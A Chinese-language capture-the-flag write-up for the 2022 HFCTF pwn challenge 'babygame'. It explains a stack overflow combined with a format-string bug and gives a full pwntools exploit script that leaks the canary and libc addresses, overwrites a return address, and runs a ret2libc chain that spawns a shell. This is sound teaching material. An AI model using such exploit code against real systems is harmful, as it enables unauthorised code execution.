579 字
3 分钟
阅读量 --
Hits
[2022HFCTF] Pwn babygame

babygame#

题目附件#

https://gitee.com/csomebro/ctftask/blob/master/20220-03_HFCTF/babygame.tar

分析#

漏洞点就是栈溢出 + 格式化字符串,保护全开,需要泄露 canary、函数加载地址、libc 加载地址、栈地址。

image-20220322191413025

可以在 read 的时候将,v5 的值覆盖,从而操控 seed

image-20220322191517350

总结

  1. 第一次 read 的时候,输入到覆盖 canary 的最低字节,在 printf (“% s”) 泄露 canary 地址,同时在 gdb 调试的时候发现同时会泄露栈地址
  2. attack_random 之后进入格式化字符串,此时需要泄露函数加载地址,并且需要修改函数返回地址组最低位为 0x39(调试的时候发现可以同时泄露 libc 加载地址)
  3. 重新进入 printf (buf) 中,利用 pwnlib 中的 fmtstr_payload 修改函数返回地址到 main 函数开始
  4. 此时回到 read (0, buf, 0x256),正式进入栈溢出,ret2libc。

exp#

from pwn import *
import time
context.log_level = 'info'
def rand_():
rd.sendlineafter('>', '1')
rd.recvuntil('!>')
return int(rd.recvuntil('\n'), 16)
def attack_rand():
tmp = rand_() % 3
if tmp == 0:
return 1
elif tmp == 1:
return 2
elif tmp == 2:
return 0
io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
# io = remote('120.25.205.249', 38573)
# rd = process('./rd')
# gdb.attach(io)
def pwn():
global io, rd
tmppp = 0x210
while True:
io.sendlineafter('Please input your name:', '1' * (0x108))
rd.sendlineafter('>', str(int('0x31313131', 16)))
io.recvuntil('111\n')
canary = io.recv(7).rjust(8,'\x00')
canary = u64(canary)
log.success('canary: '+hex(canary))
inp = io.recv(6).ljust(8, '\x00')
inp = u64(inp)
log.success('stack: '+hex(inp))
context.clear(arch = 'amd64', log_level='info')
for _ in range(100):
io.sendlineafter(': \n', str(attack_rand()))
context.clear(arch = 'amd64', log_level='debug')
# p1 = "-%p- -%p-"
# p = fmtstr_payload(6, {inp-0x210: 0x39}, write_size='byte').replace('lln', 'hhn')
p1 = '-%41$p--%27$p-'
tmp = 0x39 - 0x22
pt = "%" +str(tmp)+ "c" + "%10$hhn"
p = p1 + '[' * (0x10 - len(p1)) + pt + 'b' * (0x10-len(pt)) + p64(inp-tmppp)
io.sendlineafter('Good luck to you.', p)
# s = io.recvuntil('[' * (0x10 - len(p1)))
# print s
# print hex(len(s))
io.recvuntil('-')
func_addr = int(io.recvuntil('-',drop=True), 16) - 0x000001543
log.success('func_addr:' + hex(func_addr))
io.recvuntil('-')
atoi_addr = int(io.recvuntil('-', drop=True), 16) - 20
log.success('atoi_addr:' + hex(atoi_addr))
libc = ELF('./libc-2.31.so')
libc_base = atoi_addr - libc.sym['atoi']
log.success('libc_base:' + hex(libc_base))
context.clear(arch = 'amd64', log_level='info')
p = fmtstr_payload(6, {inp-tmppp: func_addr+0x000000014B6}, write_size='byte')
try:
io.sendlineafter('Good luck to you.', p)
pop_rdi = 0x0015D2 + 1
sys_addr = libc.sym['system']
binsh = libc.search('/bin/sh').next()
# gdb.attach(io)
p = 'a' * 0x108 + p64(canary) + p64(0) * 3 + p64(pop_rdi+func_addr+1) + p64(pop_rdi+func_addr) + p64(binsh + libc_base) + p64(sys_addr+libc_base)
io.sendlineafter('Please input your name:', p)
io.sendlineafter(': \n', str(attack_rand()+1))
print hex(tmppp)
break
except:
tmppp += 8
log.info("tmp: ", hex(tmppp))
# io.close()
rd.close()
io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
# io = remote('120.25.205.249', 38573)
rd = process('./rd')
pwn()
io.interactive()

小插曲:原来脚本地能跑通,远程打不通,然后我也没注意到 q 群有说明是更新了附件,自我分析了一点,怀疑是 canary 底下的栈地址本地和远程的偏移量不同,所以写了一个偏移量的爆破。

[2022HFCTF] Pwn babygame
https://blog.csome.cc/p/HFCTF-Pwn-babygame/
作者
Csome
发布于
2022-03-22
许可协议
CC BY-SA 3.0